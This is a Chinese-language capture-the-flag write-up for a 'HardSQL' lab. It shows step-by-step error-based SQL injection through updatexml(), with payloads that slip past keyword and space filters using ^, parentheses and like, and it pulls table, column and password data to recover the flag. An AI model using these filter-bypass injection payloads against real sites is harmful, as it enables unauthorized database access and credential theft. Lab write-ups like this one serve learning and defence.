HardSQL笔记
这道题,过滤了大部分常见的传参,甚至连空格、等于号也过滤了,但是没有过滤报错注入
是个表单,有两个可填字段:账号密码,虽然是表单,但是是get传参
这里补充一下:--+经过url编码就是--空格 #经过URL编码就是%23,get传参不能写井号,不会被传参,会认为是锚点,--空格的最后一个空格不会被传进去
这里用updatexml()函数进行报错注入
先报当前库名:(这里有个知识:用^符号来代替or符号,^的意思是异或,符号两边肯定都会执行)
?username=a&password=a'^updatexml(1,concat('~',database()),1)%23
得到当前数据库名:geek
再爆geek库里的表名:(这里注意:用括号把一些名词关键字括起来可以代替空格,如果是字符串的话注意括号里带上单引号,还有/**/注释也可以代替空格)
?username=a&password=a'^updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23
就一个表名:H4rDsq1
再爆列名:(这里注意:and可以用&代替,在当前数据库中查字段,where后可以不写(table_schema)like)
?username=a&password=a'^updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23
得到id,username,password
再查数据:
?username=a&password=a'^updatexml(1,concat('~',(select(password)from(H4rDsq1))),1)%23
得到flag{044eff1a-1806-4003-8b30-3a
使用right()函数,查询右半段。
?username=a&password=a'^updatexml(1,concat('~',(select(right(password,30))from(H4rDsq1))),1)%23
a-1806-4003-8b30-3a71a79e78ae}
拼接flag:
flag{044eff1a-1806-4003-8b30-3a71a79e78ae}
重点:
and or用&& ^绕过,=用like绕过
right()函数查右半部分